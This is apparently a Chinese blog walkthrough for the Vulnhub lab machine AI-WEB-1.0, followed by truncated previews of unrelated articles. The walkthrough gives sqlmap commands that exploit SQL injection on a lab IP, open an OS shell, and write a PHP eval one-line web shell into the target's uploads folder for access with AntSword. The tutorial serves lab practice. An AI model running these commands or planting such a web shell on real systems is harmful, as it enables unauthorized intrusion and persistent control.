【Vulnhub靶场AI-WEB-1.0打靶教程】
第一步：查看虚拟机的ip
第二步：扫描ip下开放的80端口
第三步：扫描查到的ip地址下的目录
第四步：访问查到的目录
访问robot.txt
第五步:访问robot.txt显示出的目录
第六步：打开kali终端，使用sqlmap功能
sqlmap -u "http://192.168.189.153/se3reTdir777/index.php" -data "uid=1%27&Operation=Submit" --dbs --batch
查到数据库名
进行os-shell连接
sqlmap -u "http://192.168.189.153/se3reTdir777/index.php" -data "uid=1%27&Operation=Submit" --os-shell
在kali里面/home/kali/目录下创建一个1.php写入一句话木马。语句如下：
<?php @eval($_POST['pass']);?>
再打开一个终端页面输入命令
sqlmap -u "http://192.168.189.153/se3reTdir777/" --data "uid=1&Operation=Submit" --file-write 1.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/1.php
然后返回之前的终端页面输入命令ls查看目录，看到了木马文件上传成功
第七步：打卡蚁剑访问即可
相关文章：
【Vulnhub靶场AI-WEB-1.0打靶教程】
第一步：查看虚拟机的ip 第二步：扫描ip下开放的80端口 第三步：扫描查到的ip地址下的目录 第四步：访问查到的目录 访问robot.txt 第五步:访问robot.txt显示出的目录 第六步：打开kali终端，使用sqlmap功能 sq…...
html实现酷炫美观的可视化大屏(十种风格示例，附源码)
文章目录 完整效果演示1.蓝色流线风的可视化大屏1.1 大屏效果1.2 大屏代码1.3 大屏下载 2.地图模块风的可视化大屏2.1 大屏效果2.2 大屏代码2.3 大屏下载 3.科技轮动风的可视化大屏3.1 大屏效果3.2 大屏代码3.3 大屏下载 4.蓝色海洋风的可视化大屏4.1 大屏效果4.2 大屏代码4.3 …...
【C++BFS算法 二分查找】2812. 找出最安全路径
本文涉及知识点 CBFS算法 C二分查找 LeetCode2812. 找出最安全路径 给你一个下标从 0 开始、大小为 n x n 的二维矩阵 grid ，其中 (r, c) 表示： 如果 grid[r][c] 1 ，则表示一个存在小偷的单元格 如果 grid[r][c] 0 ，则表示一…...
轻触开关 KH-4.5X4.5X5.5H-STM
品 牌： kinghelm(金航标) 厂家型号： KH-4.5X4.5X5.5H-STM 封装： SMD 商品毛重： 0.317克(g) 包装方式： 编带...
3.redis客户端
1.命令行客户端 在安装redis的时候就已经安装好了，就是redis-cli redis-cli -h 127.0.0.1 -p 6379 -a 123456 -a 表示密码 -h 表示ip，不配置默认为本机 127.0.0.1 -p 表示端口，不配置默认为 6379 进入后可以输入ping，返回pong代表…...
Rust配置国内源，解决安装依赖慢问题
温馨提示：最新内容仅在原文更新。 国内源使用字节的RsProxy https://rsproxy.cn/ 解决rust-analyzer加载时间过长(请参考本文) 配置环境变量 Mac export RUSTUP_DIST_SERVER"https://rsproxy.cn" export RUSTUP_UPDATE_ROOT"https://rsproxy.cn/r…...
AI学习指南机器学习篇- Q学习的参数与调优
AI学习指南机器学习篇- Q学习的参数与调优 在强化学习领域中，Q学习是一种经典的算法，可以用来解决各种问题，包括游戏和机器人控制等。Q学习算法的性能很大程度上取决于一些重要的参数，例如学习率和折扣因子。本文将介绍这些参数的…...
《小迪安全》学习笔记02
域名默认存放目录和IP默认存放目录不一样。 IP地址是WWW文件里的，域名访问是WWW里的一个子目录里的（比如是blog）。 Nmap: Web源码拓展 拿到一个网站的源码，要分析这几个方面↑。 不同类型产生的漏洞类型也不一样 在网站中&…...
C语言：自定义类型进阶（结构体、联合体、枚举）
自定义类型（结构体、联合体、枚举） 一、结构体（一）结构体的内存对齐1、结构体内存对齐规则（1）引子（2）offsetof 宏函数（3）内存对齐原理（4ÿ…...
SPSSAU | 最好最差权重BWM原理及案例实操分析
BWM（best-worse-method，最好最差法）是一种多准则决策方法，由Jafar Rezaei于2015年提出，其通常用于确定决策标准的权重。其原理是比如5个指标，如果以前AHP就需要5个指标两两的相对重要性数据。但是现在简化为…...
docker安装elasticsearch（es）最新版本
docker安装elasticsearch（es） docker官网 https://hub.docker.com/ https://www.cnblogs.com/balloon72/p/13177872.html 1、拉取最新项目elasticsearch docker pull elasticsearch:8.14.3lscpu 查看架构 2、构建环境 mkdir -p /data/elasticsear…...
02 RabbitMQ：下载安装
02 RabbitMQ：下载&安装 1. 下载&安装1.1. 官网1.2. Docker方式1.2.1. 下载镜像1.2.2. 启动1.2.3. 登录验证 1. 下载&安装 1.1. 官网 RabbitMQ: One broker to queue them all | RabbitMQ 1.2. Docker方式 1.2.1. 下载镜像 # docker pull 镜像名称[…...
mmcv库出现No module named ‘mmcv._ext
遇到 "No module named mmcv._ext" 这个错误通常意味着你的 Python 环境中缺少 mmcv 库的扩展模块 _ext。mmcv（MMDetection 训练工具箱的核心库）通常依赖于 _ext 模块来提供一些高性能的操作，这些操作是用 C/C 实现的，并…...
防止xss（跨站脚本攻击）
1、输出数据时进行转义：这是最基本的预防措施。确保在输出数据到HTML时对特殊字符进行适当的转义，以防止它们被解释为HTML或JavaScript代码。PHP中可以使用htmlspecialchars()、strip_tags()、htmlentities函数来实现这一点。 echo htmlspecialchars($d…...
django小型超市库存与销售管理系统-计算机毕业设计源码46608
摘 要 随着信息技术的快速发展，超市库存与销售管理面临着前所未有的挑战与机遇。为了提升超市的运营效率，优化库存管理，并增强销售数据的分析能力，我们基于Django框架设计并开发了一套小型超市库存与销售管理系统。该系统充分利用…...
项目实战_表白墙（简易版）
你能学到什么 一个比较简单的项目：表白墙（简易版），浏览器：谷歌升级版将在下个博客发布 效果如下 正文 说明 我们是从0开始一步一步做这个项目的，里面的各种问题，我也会以第一人称视角来解…...
优化 Spring Boot 项目启动速度：高效管理大量 Bean 注入
个人名片 🎓作者简介：java领域优质创作者 🌐个人主页：码农阿豪 📞工作室：新空间代码工作室（提供各种软件服务） 💌个人邮箱：[2435024119@qq.com] 📱个人微信：15279484656 🌐个人导航网站：www.forff.top 💡座右铭：总有人要赢。为什么不能是我呢？ 专栏导…...
《LeetCode热题100》---＜5.普通数组篇六道＞
本篇博客讲解LeetCode热题100道普通数组篇中的六道题 第一道：最大子数组和（中等） 第二道：合并区间（中等） 第一道：最大子数组和（中等） 法一：贪心算法 class So…...
【Hot100】LeetCode—169. 多数元素
目录 题目1- 思路2- 实现⭐169. 多数元素——题解思路 3- ACM 实现 题目 原题连接：169. 多数元素 1- 思路 定义两个变量 一个是 count：维护当前元素的出现次数一个是 ret ：维护当前元素 思路 遍历整个数组**①如果 count 0 **ÿ…...
专科、本科、研究生是按照什么分类的？
高等教育按照阶段主要分为以下几类 一、专业学位教育 特点：职业导向 专业学位教育是针对特定职业领域的专业培训，如医学、法律、工程等，旨在使学生具备从事相关职业所需的专业知识和实践技能。 实践性 专业学位教育注重实践教学和职业技…...
)
CnDataSeed发布：中国科研工作者跳槽研究数据库(CAMRD)
一、数据简介 追踪学术流动，解析科研人才动力机制！ 在中国科研生态快速演化的背景下，科研人才流动是科研创新与学术产出的关键驱动力。但跳槽相关研究在高教研究中一直较为稀缺，系统化、可量化的科研工作者跳槽数据长期缺失&…...
日语零基础每天学习笔记【01-10】
第一天 日语五十音：平假名/片假名发音あア いイ うウ えエ おオaかカ きキ くク けケ こコkaさサ しシ すス せセ そソsaたタ ちチ つツ てテ とトtaなナ にニ ぬヌ ねネ のノnaはハ ひヒ ふフ へヘ ほホhaまマ みミ むム めメ もモmaや…...
Webots仿真实战：如何用C语言控制四轮小车实现自动行驶
Webots仿真实战：C语言控制四轮小车自动行驶全攻略 引言 在机器人开发领域，仿真环境的重要性不言而喻。它不仅能大幅降低硬件成本，还能加速开发周期，让开发者专注于算法和控制逻辑的优化。Webots作为一款专业的机器人仿真软件&…...
告别手动调参！模糊PID如何让直流电机在负载突变时稳如泰山？
模糊PID控制：让直流电机在负载突变时稳如泰山的实战指南 引言：工业自动化中的电机控制痛点 在自动化产线上，直流电机突然遭遇负载变化时，你是否也经历过这样的场景？——机械臂正在精准抓取工件，突然因为物料…...
Python串口助手开发避坑实录：新手用tkinter+pyserial常遇到的5个典型问题及解决
Python串口助手开发避坑指南：5个典型问题与实战解决方案 第一次用Python开发串口调试工具时，那种既兴奋又忐忑的心情我至今记得。看着自己写的界面能收发数据，成就感爆棚；但随之而来的各种奇怪问题，又让人抓狂。本文将…...
ROS2接口实战：从传感器数据到自定义消息的完整开发流程（附Python示例）
ROS2接口实战：从传感器数据到自定义消息的完整开发流程（附Python示例） 在机器人开发领域，数据的高效传递与标准化处理是系统稳定运行的关键。ROS2作为新一代机器人操作系统，其接口系统提供了强大的数据交换能力&#x…...
Windows 10 实战：基于 FFmpeg + Nginx 构建 RTSP 转 RTMP/HLS 流媒体网关
1. 为什么需要RTSP转RTMP/HLS网关 最近接手了一个监控项目，甲方要求将内网摄像头的实时画面通过网页展示给外网用户。刚开始觉得挺简单，直到发现摄像头输出的是RTSP协议——这玩意儿在浏览器里根本没法直接播放！相信不少做过视频监控开发的同…...
别再为气象数据发愁！手把手教你用HYSPLIT做后向轨迹分析（附GDAS1数据下载指南）
从零掌握HYSPLIT后向轨迹分析：气象数据获取与实战技巧全解析 当你在环境科学或大气污染研究中首次接触HYSPLIT模型时，最令人头疼的往往不是软件操作本身，而是那些看似简单却暗藏玄机的气象数据准备工作。我曾见过无数研究生在深夜实验室里反复…...
神经网络实战之dsp实现神经网络vad-1
vad神经网络有很多不同的实现，这里的神经网络是基于pytorch实现的，网络结构如下： class MiniVAD(nn.Module):def __init__(self, n_fft512):super().__init__()self.input48 #输入B T 48# 融合层self.fusion nn.Sequential(nn.Linear(self.i…...
华硕笔记本性能困境突破：G-Helper工具的全方位优化方案
华硕笔记本性能困境突破：G-Helper工具的全方位优化方案 【免费下载链接】g-helper Lightweight Armoury Crate alternative for Asus laptops. Control tool for ROG Zephyrus G14, G15, G16, M16, Flow X13, Flow X16, TUF, Strix, Scar and other models 项目地…...